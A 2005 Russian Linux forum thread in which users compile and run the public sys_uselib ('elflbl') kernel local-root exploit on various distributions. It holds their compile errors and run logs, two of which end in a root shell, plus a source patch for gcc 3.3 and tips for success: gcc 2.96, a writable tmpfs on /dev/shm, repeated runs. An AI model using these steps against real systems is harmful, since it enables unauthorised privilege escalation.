LINUX.ORG.RU

Всем пох, модера выбирают :)

morge ★★
()

интересно что автор новости имел в виду под этимы замысловатыми стрелочками, типа '2.4 => 2.4.29-rc2'

anonymous
()
Ответ на: комментарий от anonymous

> интересно что автор новости имел в виду под этимы замысловатыми стрелочками, типа '2.4 => 2.4.29-rc2'

включая 2.4.29-rc2

JB ★★★★★
()

$ gcc linux-2.6.10-root-elflbl_v108.c
linux-2.6.10-root-elflbl_v108.c: In function `scan_mm_start':
linux-2.6.10-root-elflbl_v108.c:425: error: storage size of 'l' isn't known
linux-2.6.10-root-elflbl_v108.c:425: error: storage size of `l' isn't known
linux-2.6.10-root-elflbl_v108.c: In function `check_vma_flags':
linux-2.6.10-root-elflbl_v108.c:545: error: label at end of compound statement

Reset ★★★★★
()
Ответ на: комментарий от anonymous

Видимо что экплойт скоро заработает, просто патчи в ядро ещё не приняли. :)
А у меня оно не компиляется, говорит:
elflbl.c: In function `scan_mm_start':
elflbl.c:425: error: storage size of `l' isn't known
elflbl.c:425: error: storage size of `l' isn't known
elflbl.c: In function `check_vma_flags':
elflbl.c:545: warning: deprecated use of label at end of compound statement

thand
()
Ответ на: комментарий от JB

> включая 2.4.29-rc2

да я понял. Только в таких случаях пишут "<=2.4.29-rc2", а не такую ерунду.

anonymous
()
Ответ на: комментарий от thand

вообщем там название структуры надо поменять на ту, что прописана в ldt.h, точно посмотреть щас не могу, так как моя линуховая машина после этого эксплоита подвисла перегружать надо

Reset ★★★★★
()
Ответ на: комментарий от thand

...

написано же как компилить

gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl

но у меня на 2.4.22 рут не вышел

x97Rang ★★★
() автор топика
Ответ на: комментарий от anonymous

Правильно было бы написать: [2.4 ; 2.4.29-rc2'] по аналогии с обозначением отрезков, используя ] или ) для указания "включая" или "не включая". :->

macavity
()
Ответ на: комментарий от macavity

bot@zs:~$ gcc -O2 -fomit-frame-pointer linuxkern24.c -o linuxkern                
linuxkern24.c: In function `check_vma_flags':
linuxkern24.c:545: warning: deprecated use of label at end of compound statement
bot@zs:~$ ./linuxkern 

[+] SLAB cleanup
    child 1 VMAs 1320
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdfc00000 - 0xff441000
[-] FAILED: open lib (/dev/shm/_elf_lib not writable?) (Permission denied) 
Killed
bot@zs:~$

anonymous
()
Ответ на: комментарий от anonymous

Ведро 2.6.8 - тупые тормоза, безо всякого эффекта 2.4.28 - [-] FAILED: open lib (/dev/shm/_elf_lib not writable?) (Permission denied)

anonymous
()
Ответ на: комментарий от anonymous

тьфу! Короче если ничего на /dev/shm не смонтировано, то вылетает FAILED на любом ядре, иначе может быть и сработает :)

anonymous
()

[xxx@xxxx tmp]$ ./elflbl

    child 1 VMAs 0
[+] moved stack bfffd000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdf800000 - 0xfed2e000

[-] FAILED: try again (Cannot allocate memory)
Killed
 
RedHat 9.0 не падченый

anonymous
()

    child 1 VMAs 0
[+] moved stack bfffc000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xff400000 - 0xffffd000

[-] FAILED: try again (Cannot allocate memory) 
Killed

debian sarge 2.6.8

thand
()
Ответ на: комментарий от toxa

bash-2.05b$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl elflbl.c: In function `check_vma_flags': elflbl.c:546: warning: deprecated use of label at end of compound statement bash-2.05b$ ./elflbl

[+] SLAB cleanup child 1 VMAs 253 [+] moved stack 7fffe000, task_size=0x80000000, map_base=0x7f800000 [+] vmalloc area 0x8fc00000 - 0x9f597000 Wait... | [-] FAILED: uselib (Cannot allocate memory) Killed bash-2.05b$ uname -a Linux localhost 2.4.26-gentoo-r13 #2 Птн Дек 10 23:19:31 MSK 2004 i686 AMD Athlon(tm) XP 1900+ AuthenticAMD GNU/Linux bash-2.05b$ Никакого эффекта:)

anonymous
()
Ответ на: комментарий от anonymous

эксплоит не работает, но память жрет с аппетитом :) и не освобождает :)

anonymous
()

эксплоит работает если:

1. gcc = 2.96 (на 3.3 у меня не работает) 2. /dev/shm is writeable ( chmod 1777 ) 3. с первого раза обычно не срабатывает - его нужно 3-4 раза подряд пускать

[+] SLAB cleanup child 1 VMAs 65527 child 2 VMAs 65527 child 3 VMAs 65527 child 4 VMAs 21900 [+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000 [+] vmalloc area 0xc8000000 - 0xcfc47000 Wait... | [+] race won maps=47452 expanded VMA (0xbfffc000-0xffffe000) [!] try to exploit 0xc8d17000 [+] gate modified ( 0xffec908c 0x0804ec00 ) [+] exploited, uid=0

sh-2.05# id uid=0(root) gid=0(root) groups=500(svpcom) sh-2.05#

SVpcom
()
Ответ на: комментарий от SVpcom

n1tro@blacksun:~$ uname -a
Linux blacksun 2.4.27-grsec #2 Втр Окт 12 21:04:27 MSD 2004 i686 unknown unknown GNU/Linux
n1tro@blacksun:~$ ./elflbl

[+] SLAB cleanup
child 1 VMAs 114
[+] moved stack bfafd000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdf800000 - 0xfee44000
[-] FAILED: open lib (/dev/shm/_elf_lib not writable?) (Permission denied)
Killed
n1tro@blacksun:~$

n1tro
()

2.4.27 работает :(

cat /etc/fstab:
tmpfs /dev/shm tmpfs defaults 0 0

cpu
()
Ответ на: комментарий от SVpcom

> на 3.3 у меня не работает
Чтобы собрать на 3.3 (под FC2), нужен этот патч:
----
--- uselib.c.old 2005-01-08 02:45:34.055824232 +0300
+++ uselib.c 2005-01-08 02:31:14.937430080 +0300
@@ -33,6 +33,7 @@

#include <linux/elf.h>
#include <linux/linkage.h>
+#include <linux/unistd.h>

#include <asm/page.h>
#include <asm/ldt.h>
@@ -159,7 +160,7 @@

inline _syscall1(int, sys_uselib, char*, l);

-inline _syscall0(void, sys_sched_yield);
+inline _syscall0(int, sys_sched_yield);



@@ -537,11 +538,10 @@
__asm__("movl %%esp, %0" : :"m"(old_esp) );
} else {
__asm__("movl %0, %%esp" : :"m"(old_esp) );
- goto out;
+ return;
}
signal(SIGSEGV, vreversed);
val = * (unsigned*)(lib_addr + PAGE_SIZE);
-out:
}


----

В результате рута он мне не дал, но машину ребутнул, что
тоже очень неприятно было...

anonymous
()
Ответ на: комментарий от anonymous

для FC3 (ядро 2.6.9-1.667)
[xxx@xxxx ~]$ ./uselib

    child 1 VMAs 0
[-] FAILED: unmap stack (Invalid argument)
Killed

вычисляется нулевой размер задачи
void prepare_finish()
{
int r;
static struct sysinfo si;
        old_esp &= ~(PAGE_SIZE-1);
        old_esp -= PAGE_SIZE;
        task_size = (((unsigned)old_esp + 1 GB ) / (1 GB)) * 1 GB;
//task_size = 0x0
        r = sys_munmap(old_esp, task_size-old_esp);
        if(r) fatal("unmap stack", 0);

anonymous
()

Мля с такими кривыми эксплойтами под Linux еще долго не появятся потоки вирусов!

Мля нужен универсальный Linux чтоб у всех все одинаково работало !!!
Ну нде эти гребанные стандарты?

anonymous
()

а Пол то заботливый такой, через батрак всем исходники рассылает :)

Linux kernel sys_uselib local root vulnerability
Date: Yesterday 11:46:18
From: Paul Starzetz <ihaquer@isec.pl>
To: bugtraq@securityfocus.com, <full-disclosure@lists.netsys.com>, <vulnwatch@vulnwatch.org>
CC: vendor-sec <vendor-sec@lst.de>
Reply to: security@isec.pl
...
Appendix:
=========

Code attached.

x97Rang ★★★
() автор топика

Slackware 10.0 со стандартным ядром не срабатывает:
marat@bgp:~$ uname -a
Linux bgp 2.4.26 #2 Вск Дек 5 22:30:39 UZT 2004 i686 unknown unknown GNU/Linux
marat@bgp:~$ cat /etc/slackware-version
Slackware 10.0.0
marat@bgp:~$ gcc -O2 -fomit-frame-pointer kernel.c -o kernel
kernel.c: In function `check_vma_flags':
kernel.c:545: warning: deprecated use of label at end of compound statement
marat@bgp:~$ ./kernel

[+] SLAB cleanup
child 1 VMAs 114
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf78e000
[-] FAILED: open lib (/dev/shm/_elf_lib not writable?) (Permission denied)
Killed

По умолчанию пермишены:
marat@bgp:~$ l /dev/shm/
итого 63
drwxr-xr-x 2 root root 48 2004-11-30 23:41 ./
drwxr-xr-x 15 root root 63344 2005-01-08 13:36 ../

делаем чмод:
root@bgp:~# chmod 1777 /dev/shm/
lroot@bgp:~# l /dev/shm/
итого 63
drwxrwxrwt 2 root root 48 2005-01-08 13:54 ./
drwxr-xr-x 15 root root 63344 2005-01-08 13:36 ../

marat@bgp:~$ ./kernel

[+] SLAB cleanup
child 1 VMAs 110
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf78e000
Wait... \
[-] FAILED: try again (Cannot allocate memory)
Killed
marat@bgp:~$ ./kernel

[+] SLAB cleanup
child 1 VMAs 65527
child 2 VMAs 648
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf78e000
Wait... \
[-] FAILED: try again (Cannot allocate memory)
Killed

Всё равно не срабатывает, хотя во время выполнения эксплоита машина тормозит конкретно, даже чуть не повисла.

gcc правда 3-й, патчей никаких не применял:
marat@bgp:~$ gcc --version
gcc (GCC) 3.3.4
Copyright (C) 2003 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

unReal
()

ALTLinux Master 2.4 2.4.26-std-up-alt6

для того, чтобы сработало:

[root@eclipse q]$ mount -t tmpfs tmpfs /dev/shm

ну и дальше всё грустно:

[andrey@eclipse q]$ gcc elflbl.c elflbl.c: In function `check_vma_flags': elflbl.c:530: warning: deprecated use of label at end of compound statement [andrey@eclipse q]$ ./a.out

[+] SLAB cleanup child 1 VMAs 22216 [+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000 [+] vmalloc area 0xcbc00000 - 0xd774c000 Wait... / [+] race won maps=49986 expanded VMA (0xbfffc000-0xffffe000) [!] try to exploit 0xccf62000 [+] gate modified ( 0xffec937c 0x0804ec00 ) [+] exploited, uid=0

sh-2.05b#

anonymous
()
Ответ на: комментарий от anonymous

> для того, чтобы сработало:
>[root@eclipse q]$ mount -t tmpfs tmpfs /dev/shm

нифига не помогло.

root@bgp:~# chmod 1777 /dev/shm/
root@bgp:~# mount -t tmpfs tmpfs /dev/shm
root@bgp:~# mount
...
tmpfs on /dev/shm type tmpfs (rw)
marat@bgp:~$ ./kernel

[+] SLAB cleanup
child 1 VMAs 341
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf78e000
Wait... \Killed

unReal
()
Ответ на: комментарий от anonymous

А что ты хотел?

Альтлинукс традиционно уделяет большое внимание безопасности своих дистров. Странно, что вообще потребовался какой то иксплойт, чтобы его взломать.

anonymous
()

robot12@hometux:~$ ./exploit
 
[+] SLAB cleanup
    child 1 VMAs 229
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdf800000 - 0xfef66000
[-] FAILED: open lib (/dev/shm/_elf_lib not writable?) (Permission denied)
Killed
robot12@hometux:~$ uname -a
Linux hometux 2.4.22 #6 Tue Sep 2 17:43:01 PDT 2003 i686 unknown unknown GNU/Linux
robot12@hometux:~$


Самовар 9.1

robot12 ★★★★★
()
Ответ на: комментарий от anonymous

>Альтлинукс традиционно уделяет большое внимание безопасности своих дистров. Странно, что вообще потребовался какой то иксплойт, чтобы его взломать.

как раз таки на Альтлинуксе эксплоит удачно прошел, после пары манипуляций, а вот на Slackware 10.0 -- нифига.

unReal
()

2.6.10 - некомпилит:

bash-3.00$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
In file included from elflbl.c:35:
/usr/include/linux/linkage.h:5:25: asm/linkage.h: No such file or directory
elflbl.c: In function `check_vma_flags':
elflbl.c:545: warning: deprecated use of label at end of compound statement
elflbl.c:905:2: warning: no newline at end of file

плохо :)

Pi ★★★★★
()
Ответ на: комментарий от Selecter

у меня нормально собрался ...

x97rang@darkstar:~/download/hack$ uname -a
Linux darkstar 2.4.22 #6 Tue Sep 2 17:43:01 PDT 2003 i686 unknown unknown GNU/Linux

x97rang@darkstar:~/download/hack$ gcc -v
Reading specs from /usr/lib/gcc-lib/i486-slackware-linux/3.2.3/specs
Configured with: ../gcc-3.2.3/configure --prefix=/usr --enable-shared --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld --verbose --target=i486-slackware-linux --host=i486-slackware-linux
Thread model: posix
gcc version 3.2.3

x97Rang ★★★
() автор топика
Ответ на: комментарий от anonymous

Я чего-то не пойму. А для чего вообще эта tmpfs?

Если только для того, что-бы получить быстрый, но крохотный аналог /tmp, то для большенства, как мне кажется, это не актуально...

Может еще для чего?

sergeil
()
Ответ на: комментарий от unReal

>>Альтлинукс традиционно уделяет большое внимание безопасности своих дистров. Странно, что вообще потребовался какой то иксплойт, чтобы его взломать.

>как раз таки на Альтлинуксе эксплоит удачно прошел, после пары манипуляций, а вот на Slackware 10.0 -- нифига.

Да это прикалывается он так. :)) О том и речь

atoku ★★★
()
Ответ на: комментарий от sergeil

tmpfs , это fs спенцово придуманная для хранения данных, которые не протребуются после перезагрузки. Она прозрачно для приложений растет из оперативки на диск. То, что эксплойт ее использует, не значит, что она дырява.

anonymous
()
Ответ на: комментарий от unReal

> как раз таки на Альтлинуксе эксплоит удачно прошел, после

> пары манипуляций, а вот на Slackware 10.0 -- нифига

А ты внимательно прочти сообщение, на которое отвечаешь. Я тут в VMware поигрался, похоже ALT Linux - единственный дистрибутив, на котором СРАБОТАЛ этот эксплойт. Не сработал ни на RedHat, ни на Debian, ни на слакваре, ни на дженту, ни на ASP, ни на Mandrake, ни на SUSE.

l0gin
()
Ответ на: комментарий от sergeil

> Я чего-то не пойму. А для чего вообще эта tmpfs?
Через неё, в частности, реализован механизм Posix SHM
в glibc. По этому монтировать обязательно! Если не
смонтировать, не будет работать shm_open() (man 3 shm_open),
и, соответственно, все проги, его использующие, работать
не будут тоже. Хотя большинство таких прог имеют обходной
вариант (fall-back) на случай отсутствия /dev/shm. Вот
сейчас исходники dosemu глянул (исходники dosemu - это
просто кладезь "нестандартных решений":) - у него аж
два фолл-бэка: если shm_open() не срабатывает, он что-то
мутит с mmap(), а если и это не работает, тогда он создаёт
гигантский файл в /tmp, и в комментариях написано, что
это будет сильно тормозить. Так что /dev/shm лучше всегда
монтировать. Памяти он зря отъедать не будет всё равно,
так что потерь никаких.

anonymous
()
Ответ на: комментарий от anonymous

странно

ALT Linux 2.4 Master

thresh@cryo ~ $ uname -a

Linux cryo.korolev.net 2.4.26-vs-smp-alt8.1 #1 SMP Sun Dec 26 01:08:24 MSK 2004 i686 unknown unknown GNU/Linux

thresh@cryo ~ $ ls -ld /dev/shm

drwxrwxrwt 2 root root 40 Янв 8 15:44 /dev/shm

thresh@cryo ~ $ df -h /dev/shm

Файловая система Разм Исп Дост Исп% смонтирована на

tmpfs 252M 0 252M 0% /dev/shm

thresh@cryo ~ $ id

uid=500(thresh) gid=500(thresh) группы=500(thresh),6(disk),10(wheel),19(proc),31(netwatch),33(rpminst),51(ftpadm in),52(cvs),53(cvsadmin),80(cdwriter),100(users),107(netadmin),38(xgrp),39(ftn), 49(webmaster),59(sandman),61(nmapuser),65(hashman),506(thresh_a),507(thresh_b)

thresh@cryo ~ $ sudo select-gcc 2.96

warning: unable to open file: /etc/alternatives/auto/php-4.3.9.xml - skipping

warning: unable to open file: /etc/alternatives/auto/php-4.3.9.xml - skipping

warning: unable to open file: /etc/alternatives/auto/php-4.3.9.xml - skipping

thresh@cryo ~ $ gcc -O2 -fomit-frame-pointer file.c -o elflbl

file.c:905:1: warning: no newline at end of file

thresh@cryo ~ $ ./elflbl

[+] SLAB cleanup

child 1 VMAs 65526

child 2 VMAs 65526

child 3 VMAs 65526

child 4 VMAs 65526

child 5 VMAs 65526

child 6 VMAs 65526

child 7 VMAs 65526

child 8 VMAs 65526

child 9 VMAs 65526

child 10 VMAs 65526

child 11 VMAs 65526

child 12 VMAs 65526

child 13 VMAs 63628

[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000

[+] vmalloc area 0xdf800000 - 0xfeef8000

Wait... -

[-] FAILED: try again (Cannot allocate memory)

zsh: killed ./elflbl

thresh@cryo ~ $

Что я делаю не так?

thresh ★★★
()
Ответ на: комментарий от unReal

>root@bgp:~# chmod 1777 /dev/shm/
>root@bgp:~# mount -t tmpfs tmpfs /dev/shm
:)))

У меня сложилось впечатление что срабатывание зависит то количества памяти на машине. На тачке с 256M сработало, на тачке с 1G не сработало с криком что не может выделить память :)

cpu
()
Ответ на: комментарий от z2v

злобный виндузятник бы вскричал - под ляпиксом даже эксплоиты не работают...

anonymous
()
Ответ на: комментарий от z2v

> Эксплоит не работает.
> Например /dev/shm есть не у всех.
У таких много чего работать не будет, не только эксплойт.
У нормальных людей работает:)

anonymous
()
Ответ на: комментарий от unReal

> root@bgp:~# chmod 1777 /dev/shm/

Это не нужно. При монтировании tmpfs права устанавливаются автоматом в 1777.

> root@bgp:~# mount -t tmpfs tmpfs /dev/shm

А это по идее должно быть на каждой машине прописано в fstab. Меня
крайне удивило, что очень у многих здесь tmpfs не смонтирована...
Она ведь и для СУБД разных нужна, и апач shm активно использует.

annonymous ★★
()
Ответ на: комментарий от annonymous

Почему не работает? :))
Slackware 9.1/2.6.6/tmpfs включен
В fstab'e прописано.

key@ice:~$ ls -ld /dev/shm
drwxrwxrwt 2 root root 40 2005-01-08 17:54 /dev/shm/
key@ice:~$ ./exp

child 1 VMAs 0
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xdf800000 - 0xfef77000

[-] FAILED: try again (Cannot allocate memory)
Killed
key@ice:~$

Экплоит компилился gcc 2.96. Машина P4/512Mb памяти.

SteelKey
()
Ответ на: комментарий от annonymous

гарантию в Мандрайке в fstab эта фигня не пишется... может где ещё подрубается? Да и на 2.6.10 не компилится ! :)

anonymous
()
Ответ на: комментарий от annonymous

> крайне удивило, что очень у многих здесь tmpfs не смонтирована...
> Она ведь и для СУБД разных нужна, и апач shm активно использует.
tmpfs используется для только Posix SHM, а это всё же не очень
часто применяется почему-то (имхо самый простой и правельный
механизм использования shm).
Апач, похоже, использует anonymous SHM. Вот отрывок из
cat /proc/<pid>/maps апача:

b6df9000-b6e07000 rw-s 00000000 00:07 2807 /dev/zero (deleted)
b6e07000-b6e85000 rw-s 00000000 00:07 2805 /dev/zero (deleted)

Это SHM, о чём свидетельствует буква s в "rw-s". Но не в
/dev/shm, а в /dev/zero. SHM в /dev/zero открывается с помощью
mmap() с флагами MAP_SHARED|MAP_ANONYMOUS. Я когда это первый
раз увидел (в исходниках dosemu опять же), просто офигел. Не
думал, что на /dev/zero можно делать shared mapping. SysV SHM
тоже /dev/shm не требует, хотя наверное её перепишут на
использование tmpfs со временем. Пока же такая величайшая вещь
как tmpfs и правда довольно часто оказывается невостребованной.

anonymous
()
Ответ на: комментарий от annonymous

Ну незнаю! И апач у меня отлично работает без /dev/shm, и не встречал ни одной проги, которая не могла бы без этого обойтись. Хотя использую на домашней машине tmpfs для /tmp и /var/tmp - по-моему единственное преимущество от этого то, что нет необходимости чистить /tmp. Никаких изменений в производительности я не заметил. Кстати, какой дистр монтирует /dev/shm по умолчанию? Альты, аспы - невсчёт!

bill_gates
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.